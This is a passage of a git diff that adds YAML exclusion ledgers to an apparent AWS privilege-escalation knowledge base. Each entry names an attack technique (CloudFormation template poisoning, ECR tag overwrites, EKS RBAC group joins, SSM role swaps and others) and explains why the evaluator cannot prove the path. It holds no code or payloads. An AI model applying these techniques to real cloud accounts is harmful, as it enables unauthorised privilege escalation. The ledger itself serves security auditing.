proved; + targeting the whole role overclaims tag-conditioned authority. + prior_id: aws-cognito-setprincipaltagattributemap +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminlinkproviderforuser--graft-an-attacker-identity-onto-an-existing-privileged-user + source_revision: 171e422299 + technique: Link a federated identity the source controls to an existing user-pool + user + reason: The source-controlled federated subject, app-client acceptance and resulting + victim token/role mapping are unverified. + prior_id: aws-cognito-adminlinkproviderforuser +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminupdateuserattributes + source_revision: 6fb9ac51fd + technique: Change a user-pool user's attributes to match an identity-pool role-mapping + rule + reason: No controlled user sign-in or exact attribute-rule match is proved; the + target set includes roles unrelated to the edited user. + prior_id: aws-cognito-adminupdateuserattributes-rule-mapping +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-identityupdateidentitypool + source_revision: 6fb9ac51fd + technique: Enable the basic (classic) authentication flow on an identity pool + reason: Enabling classic flow does not prove a source-usable identity token or exact + authenticated/unauthenticated role slot. + prior_id: aws-cognito-updateidentitypool-classic-flow diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..30266a2124 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_input_join_strict_reaudit_20261016.yaml @@ -0,0 +1,154 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/consumer-input-join-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#s3putobject-on-a-nested-stack-template--delayed-cloudformation-role-escalation + source_revision: 171e422299 + technique: Replace a mutable nested-stack template object in S3 + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-cloudformation-nested-template-s3-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#ssmputparameter-on-a-cloudformation-supplied-parameter--delayed-policy-injection + source_revision: 6fb9ac51fd + technique: Overwrite a Parameter Store value that a stack resolves as a template parameter + reason: 'The ssm:PutParameter source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-cloudformation-ssm-parameter-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamupdateapplication--poison-an-elastic-fleet-application-launch + source_revision: 6fb9ac51fd + technique: Change the launch definition of an application used by an Elastic fleet + reason: 'The appstream:UpdateApplication source operation is not joined to an exact consumed + input and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-appstream-updateapplication-elastic-fleet +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemakerupdatenotebookinstancelifecycleconfig--stored-code-execution-as-the-notebook-role + source_revision: b587e6bd26 + technique: Rewrite a notebook-instance lifecycle configuration that runs as the notebook role + reason: 'The sagemaker:UpdateNotebookInstanceLifecycleConfig source operation is not joined + to an exact consumed input and target role: the AWS evaluator implements consumer_input_writable_via + and target.consumer_input_arn only for Image Builder. This entry cannot prove the later consumer + execution or authority gain.' + prior_id: aws-sagemaker-updatenotebookinstancelifecycleconfig +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#sagemaker-model-registry-supply-chain-injection-via-createmodelpackageapproved + source_revision: b587e6bd26 + technique: Register an Approved model version in a Model Package Group consumed by auto-deploy + automation + reason: 'The sagemaker:CreateModelPackage source operation is not joined to an exact consumed + input and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-sagemaker-createmodelpackage-approved-autodeploy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#s3putobject-on-a-configured-s3-source-codebuildstartbuild-optional + source_revision: 171e422299 + technique: Replace the S3 source object of a CodeBuild project + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codebuild-s3-source-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrgetauthorizationtoken-ecrbatchchecklayeravailability-ecrbatchgetimage-ecrcompletelayerupload-ecrinitiatelayerupload-ecrputimage-ecruploadlayerpart + source_revision: 171e422299 + technique: Push an image over a mutable tag consumed by a workload with a role + reason: 'The ecr:PutImage source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-push-consumed-tag +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecr-publicgetauthorizationtoken-stsgetservicebearertoken-ecr-publicbatchchecklayeravailability-ecr-publiccompletelayerupload-ecr-publicinitiatelayerupload-ecr-publicputimage-ecr-publicuploadlayerpart + source_revision: 171e422299 + technique: Push to an ECR Public repository consumed by workloads with roles + reason: 'The ecr-public:PutImage source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-public-push-consumed-image +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrsetrepositorypolicy--self-grant-private-image-access + source_revision: 171e422299 + technique: Rewrite a private repository policy to grant the source push access + reason: 'The ecr:SetRepositoryPolicy source operation is not joined to an exact consumed input + and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-setrepositorypolicy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecr-publicsetrepositorypolicy + source_revision: 171e422299 + technique: Rewrite an ECR Public repository policy to grant the source push access + reason: 'The ecr-public:SetRepositoryPolicy source operation is not joined to an exact consumed + input and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-public-setrepositorypolicy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrputregistrypolicy + source_revision: 171e422299 + technique: Rewrite the registry policy to grant the source push access to all repositories + reason: 'The ecr:PutRegistryPolicy source operation is not joined to an exact consumed input + and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-putregistrypolicy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrcreatepullthroughcacherule + source_revision: 171e422299 + technique: Map a trusted private repository prefix (or ROOT) to an upstream the source controls + reason: 'The ecr:CreatePullThroughCacheRule source operation is not joined to an exact consumed + input and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-createpullthroughcacherule +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrputimagetagmutability + source_revision: 171e422299 + technique: Make an immutable repository mutable and overwrite a consumed tag + reason: 'The ecr:PutImage source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-ecr-putimagetagmutability +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#trojanize-an-existing-custom-test-specification + source_revision: 171e422299 + technique: Replace the content of a custom test specification used by privileged runs + reason: 'The devicefarm:UpdateUpload source operation is not joined to an exact consumed input + and target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-devicefarm-updateupload-test-spec +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#codecommitgitpush-on-a-codepipeline-source-repository + source_revision: 6fb9ac51fd + technique: Push to a CodeCommit repository branch used as a pipeline source + reason: 'The codecommit:GitPush source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codecommit-gitpush-pipeline-source +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#codecommitgitpush-on-a-codepipeline-source-repository + source_revision: 6fb9ac51fd + technique: Push to a CodeCommit branch used as the source of a CloudFormation-deploying pipeline + reason: 'The codecommit:GitPush source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codecommit-gitpush-pipeline-source-cloudformation-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codecommit-pipeline-source-privesc/README.md#push-a-codecommit-source-revision-executed-by-a-codebuild-project + source_revision: b587e6bd26 + technique: Push a CodeCommit source revision executed by a CodeBuild project + reason: 'The codecommit:GitPush source operation is not joined to an exact consumed input and + target role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codecommit-gitpush-codebuild-source +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#s3putobject-on-a-configured-s3-source-codepipelinestartpipelineexecution-optional + source_revision: 171e422299 + technique: Replace the S3 source object of a pipeline + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codepipeline-s3-source-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#s3putobject-on-a-configured-s3-source-codepipelinestartpipelineexecution-optional + source_revision: 6fb9ac51fd + technique: Replace the S3 source object of a pipeline that deploys through CloudFormation + reason: 'The s3:PutObject source operation is not joined to an exact consumed input and target + role: the AWS evaluator implements consumer_input_writable_via and target.consumer_input_arn + only for Image Builder. This entry cannot prove the later consumer execution or authority + gain.' + prior_id: aws-codepipeline-s3-source-poisoning-cloudformation-role diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_semantics_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_semantics_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..11824f3d4a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_consumer_semantics_strict_reaudit_20261016.yaml @@ -0,0 +1,40 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/consumer-semantics-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codedeploy-privesc/README.md#codedeploycreatedeployment--dependent-actions + source_revision: 171e422299 + technique: Deploy a controlled revision to an existing EC2/on-premises deployment group + reason: CreateDeployment and RegisterApplicationRevision do not prove the source controls a + revision that the target hosts download; artifact control is only a prose condition. + prior_id: aws-codedeploy-createdeployment-instance-roles +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#poison-a-secrets_manager-or-parameter_store-environment-value + source_revision: 6fb9ac51fd + technique: Overwrite a Parameter Store value consumed as a CodeBuild environment variable + reason: The writable parameter is joined to a build, but no reviewed buildspec/consumer behavior + proves its value executes code or yields role credentials; the effect can be configuration + poisoning only. + prior_id: aws-codebuild-env-parameter-store-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#poison-a-secrets_manager-or-parameter_store-environment-value + source_revision: 6fb9ac51fd + technique: Overwrite a Secrets Manager value consumed as a CodeBuild environment variable + reason: The writable secret is joined to a build, but no reviewed buildspec/consumer behavior + proves its value executes code or yields role credentials; the effect can be configuration + poisoning only. + prior_id: aws-codebuild-env-secretsmanager-poisoning +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#replace-the-root-volume-of-an-existing-role-bearing-ec2-instance + source_revision: b587e6bd26 + technique: Replace the root volume of an existing role-bearing EC2 instance + reason: CreateReplaceRootVolumeTask does not prove the source controls a compatible replacement + AMI/snapshot containing executable payload; that separate artifact foothold is a prose condition. + prior_id: aws-ec2-createreplacerootvolumetask-existing-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkupdateenvironment + source_revision: 171e422299 + technique: Inject runtime-influencing environment properties into an existing environment + reason: UpdateEnvironment alone does not prove the runtime interprets the chosen environment + value as code or that source-controlled executable content is available to the instances. + prior_id: aws-elasticbeanstalk-updateenvironment-env-injection +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaupdatefunctionconfiguration + source_revision: 171e422299 + technique: Change environment variables or layers of an existing Lambda to execute code + reason: UpdateFunctionConfiguration alone does not prove a runtime-specific injection executes + or that the source can publish/attach an executable wrapper layer; those requirements are + unmodeled. + prior_id: aws-lambda-updatefunctionconfiguration diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..cd312abb4d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_effective_gain_strict_reaudit_20261016.yaml @@ -0,0 +1,76 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/effective-gain-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#queue-role-credential-vending + source_revision: 171e422299 + technique: Obtain the role credentials of an existing queue + reason: The queue membership and level needed to vend this exact queue role are not joined to + the source; IAM permission plus role attachment alone is insufficient. + prior_id: aws-deadline-assumequeueroleforuser +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreatefleetupdatefleet--iampassrole--deadlinecreateworker--deadlineassumefleetroleforworker + source_revision: 6fb9ac51fd + technique: Register a logical worker on an existing customer-managed fleet and vend its fleet + role + reason: The target role may be a queue role, and no exact customer-managed fleet, source worker + registration or fleet-to-role join is proved. + prior_id: aws-deadline-createworker-assumefleetroleforworker-existing-fleet +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputuserpermissionsboundary + source_revision: 171e422299 + technique: Replace or remove the permissions boundary of the source user + reason: Deleting or replacing a boundary is a permission gain only if a restrictive boundary + currently limits broader identity policies; that before/after effective permission is not + evaluated. + prior_id: aws-iam-putuserpermissionsboundary-self +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary + source_revision: 171e422299 + technique: Replace or remove the permissions boundary of the source role + reason: Deleting or replacing a role boundary is a permission gain only if it currently limits + broader role policies; that before/after effective permission is not evaluated. + prior_id: aws-iam-putrolepermissionsboundary-self +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 171e422299 + technique: Move another user into an IAM path where the source's credential permissions already + apply + reason: No exact new user ARN/path is selected and authorized for both UpdateUser and credential + creation; the evaluator only checks an unrelated wildcard path. + prior_id: aws-iam-updateuser-path-move +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 171e422299 + technique: Move a group into an IAM path where the source can add members + reason: No exact new group ARN/path is selected and authorized for both UpdateGroup and AddUserToGroup; + the evaluator only checks some group path. + prior_id: aws-iam-updategroup-path-move +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 6fb9ac51fd + technique: Move the source user into an IAM path where it can edit user policies + reason: No exact post-move source ARN is proven to satisfy both UpdateUser and self policy-edit + authorization; the evaluator checks any user path. + prior_id: aws-iam-updateuser-path-move-self-policy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateuser--iamupdategroup--moving-the-target-into-a-path-you-already-control + source_revision: 6fb9ac51fd + technique: Move one of the source's groups into an IAM path where it can edit group policies + reason: No exact post-move group ARN is proven to satisfy both UpdateGroup and policy-edit authorization; + the evaluator checks any group path. + prior_id: aws-iam-updategroup-path-move-self-policy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary + source_revision: 6fb9ac51fd + technique: Replace or remove the permissions boundary of a role the source can assume + reason: The assumable role may have no restrictive boundary or admin-equivalent policy behind + it; no exact before/after effective permission proof supports account-admin. + prior_id: aws-iam-rolepermissionsboundary-assumable-role +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#impersonate-a-saml-connect-user-with-a-controllable-role-session-name + source_revision: 171e422299 + technique: Impersonate a SAML Connect user by choosing the role-session name + reason: GetFederationToken does not prove the source controls a SAML federation role session + with the victim case-sensitive username or that victim holds Connect Admin. + prior_id: aws-connect-saml-session-name-impersonation +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#take-over-a-connect-managed-user-through-updateuseridentityinfo + source_revision: 171e422299 + technique: Take over a Connect-managed user by changing its email + reason: UpdateUserIdentityInfo can change an arbitrary user email but no exact source-controlled + mailbox/sign-in or Admin-profile victim mapping is proved. + prior_id: aws-connect-updateuseridentityinfo-takeover +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifybackendgettoken--recover-a-live-studio-login + source_revision: 171e422299 + technique: Recover a live Amplify Studio administrator login + reason: GetToken requires an existing live Studio session id known to the source; no collected + exact token/session or credential usability is joined to the app. + prior_id: aws-amplifybackend-gettoken-studio-admin diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_eks_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_eks_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..bde5665f37 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_eks_strict_reaudit_20261016.yaml @@ -0,0 +1,44 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/eks-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#ekscreateaccessentry-alone--join-an-existing-privileged-kubernetes-group + source_revision: 171e422299 + technique: Create an EKS access entry that places the source in an existing privileged + Kubernetes group + reason: No joined Kubernetes RBAC binding proves the chosen custom group grants + cluster-admin; access-entry creation alone authenticates but does not establish + authorization. + prior_id: aws-eks-createaccessentry-privileged-kubernetes-group +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdateaccessentry--escalate-an-access-entry-that-already-exists + source_revision: 171e422299 + technique: Rewrite the Kubernetes groups of an existing EKS access entry + reason: The edited access entry is not proved to name a principal the source controls, + and no joined Kubernetes RBAC binding proves the selected group grants cluster-admin. + prior_id: aws-eks-updateaccessentry-kubernetes-groups +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#ekscreatepodidentityassociation-iampassrole-iamgetrole--bind-an-aws-role-to-a-namespace-you-control + source_revision: 171e422299 + technique: Bind a passable role to a Kubernetes service account through EKS Pod + Identity + reason: CreatePodIdentityAssociation and PassRole configure a Kubernetes ServiceAccount; + source pod execution/control and the exact association-to-role credential path + are not evaluated. + prior_id: aws-eks-createpodidentityassociation-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksupdatepodidentityassociation-iampassrole--repoint-an-existing-association-role-swap-cross-account-chaining-tag-guardrail-bypass + source_revision: 171e422299 + technique: Repoint an existing EKS Pod Identity association to another passable + role + reason: UpdatePodIdentityAssociation changes a workload mapping; the source is not + proved to control a pod using that association or receive the role credentials. + prior_id: aws-eks-updatepodidentityassociation-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#iampassrole-ekscreatenodegroup--ekscreatefargateprofile--run-pods-on-capacity-you-control + source_revision: 171e422299 + technique: Create a managed node group with a passed node role + reason: CreateNodegroup launches nodes with the role but does not give the source + node code execution or instance-profile credentials; that separate foothold is + only a condition. + prior_id: aws-eks-passrole-createnodegroup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-eks-privesc/README.md#eksassociateidentityproviderconfig-with-a-matching-privileged-rbac-group + source_revision: b587e6bd26 + technique: Associate an attacker-controlled OIDC identity provider with an EKS cluster + that binds a privileged RBAC group + reason: The source-controlled OIDC tokens are not joined to an existing privileged + Kubernetes group binding; adding the issuer alone does not grant cluster-admin. + prior_id: aws-eks-associateidentityproviderconfig-privileged-group diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_execution_foothold_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_execution_foothold_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..59aacea0c5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_execution_foothold_strict_reaudit_20261016.yaml @@ -0,0 +1,57 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/execution-foothold-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistercontainerinstance-ecsderegistercontainerinstance-ecsstarttask-iampassrole + source_revision: 6fb9ac51fd + technique: Register a controlled instance into a cluster and steer tasks onto it + reason: RegisterContainerInstance and StartTask do not prove the source controls a working container + host or can read task credentials; host control is only a prose condition. + prior_id: aws-ecs-registercontainerinstance-starttask +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistercontainerinstance-ecsderegistercontainerinstance-ecsstarttask-iampassrole + source_revision: 6fb9ac51fd + technique: Register a controlled instance into a cluster and let the scheduler place tasks on + it + reason: The source is not proved to control an EC2 host or to receive an existing task; task + placement and host access are only prose conditions. + prior_id: aws-ecs-registercontainerinstance-scheduled-tasks +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#steer-replacement-service-tasks-to-an-attacker-controlled-container-instance + source_revision: b587e6bd26 + technique: Drain or deregister legitimate container instances so service tasks are replaced + onto a controlled instance + reason: Draining nodes does not prove replacement service tasks run on a source-controlled connected + host or expose their credentials. + prior_id: aws-ecs-drain-container-instances-steer-service-tasks +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmupdatemanagedinstancerole-iampassrole--re-point-an-existing-hybrid-instance-at-a-better-role + source_revision: 171e422299 + technique: Re-point an existing hybrid managed node to a passed role + reason: The role swap changes a hybrid node configuration, but no source-controlled managed + node or readable SSM agent credentials are joined. + prior_id: aws-ssm-passrole-updatemanagedinstancerole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmupdateservicesetting-iampassrole--hijack-default-host-management-configuration + source_revision: 171e422299 + technique: Set the Default Host Management Configuration role to a passed role + reason: The account-wide role setting does not prove the source can execute on a DHMC-managed + instance and obtain its SSM credentials. + prior_id: aws-ssm-passrole-updateservicesetting-dhmc +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md#rdscreatedbinstance-iampassrole-kms-key-use-permissions + source_revision: 171e422299 + technique: Create an RDS Custom instance with a passed AWSRDSCustom instance profile + reason: Creating a database with a passed role does not prove source code execution or administrative + access on its RDS Custom host. + prior_id: aws-rds-custom-createdbinstance-passrole +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs + source_revision: a66f094ede + technique: Launch an instance that joins an ECS cluster to receive task roles + reason: Joining a cluster with a new ECS container instance does not prove that a specific target-role + task is scheduled onto that instance. + prior_id: aws-ec2-runinstances-join-ecs-cluster +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mainframe-modernization-privesc/README.md#m2startbatchjob---run-an-attacker-selected-ad-hoc-s3-job-in-an-application + source_revision: 171e422299 + technique: Run an attacker-selected ad-hoc S3 batch job in an existing M2 application + reason: Starting an existing batch job does not prove that its program executes a source-controlled + command or exposes the runtime role. + prior_id: aws-m2-startbatchjob-adhoc-s3 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-healthomics-privesc/README.md#omicsstartrun--iampassrole + source_revision: 171e422299 + technique: Start a HealthOmics workflow run with a passed service role + reason: StartRun and PassRole do not prove the selected workflow executes source-controlled + code; workflow control is only a prose condition. + prior_id: aws-healthomics-passrole-startrun diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_foothold_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_foothold_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..de141a3661 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_foothold_strict_reaudit_20261016.yaml @@ -0,0 +1,30 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/foothold-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#iampassrole-iamaddroletoinstanceprofile + source_revision: 171e422299 + technique: Add a role to an instance profile used by an instance the source controls + reason: The caller can place a role in an instance profile, but the graph does not prove it + controls and can execute on an instance using that profile; no usable role credential follows + from the declared actions alone. + prior_id: aws-ec2-passrole-addroletoinstanceprofile +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + source_revision: 171e422299 + technique: Create a Parallel Computing Service (PCS) compute node group with a passed instance + profile + reason: Node group creation starts compute capacity, but the source is not proved to submit + a job or execute on the nodes; that separate foothold is only a prose condition. + prior_id: aws-pcs-passrole-createcomputenodegroup +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#rolesanywhereupdateprofile--remove-the-session-policy-boundary + source_revision: 171e422299 + technique: Remove the session-policy restriction of an IAM Roles Anywhere profile + reason: The source is not proved to possess a usable private key and accepted certificate for + the exact profile and role, nor that the removed session policy previously denied a permission; + profile mutation alone grants no caller session. + prior_id: aws-rolesanywhere-updateprofile-remove-session-policy +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#rolesanywheredeleteattributemapping--putattributemapping--exploit-missing-certificate-tags + source_revision: 6fb9ac51fd + technique: Remove a certificate attribute mapping that a negative role-trust condition relies + on + reason: The source is not proved to possess a usable private key/certificate or that the exact + role trust has the described negative/IfExists condition; mapping mutation alone grants no + credential. + prior_id: aws-rolesanywhere-attributemapping-negative-trust-condition diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml new file mode 100644 index 0000000000..bd1f54ac55 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generated_scope_20261016.yaml @@ -0,0 +1,1056 @@ +# Per-technique exclusion decisions for unproven generated AWS entries. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-amplify-post-exploitation/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + technique: aws-amplify-artifact-credential + reason: 'Download E2E artifacts that may contain tokens: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifygetbranch-amplifylistapps-amplifylistbranches-amplifygetjob--read-deployment-variables-and-build-logs + technique: aws-amplify-config-credential + reason: 'Read plaintext variables and build-log URLs that may contain credentials: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#privileged-execution-through-a-state-manager-association + technique: aws-audit-create-association-targeting-hybrid-managed-node + reason: 'Create association targeting hybrid managed node: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque 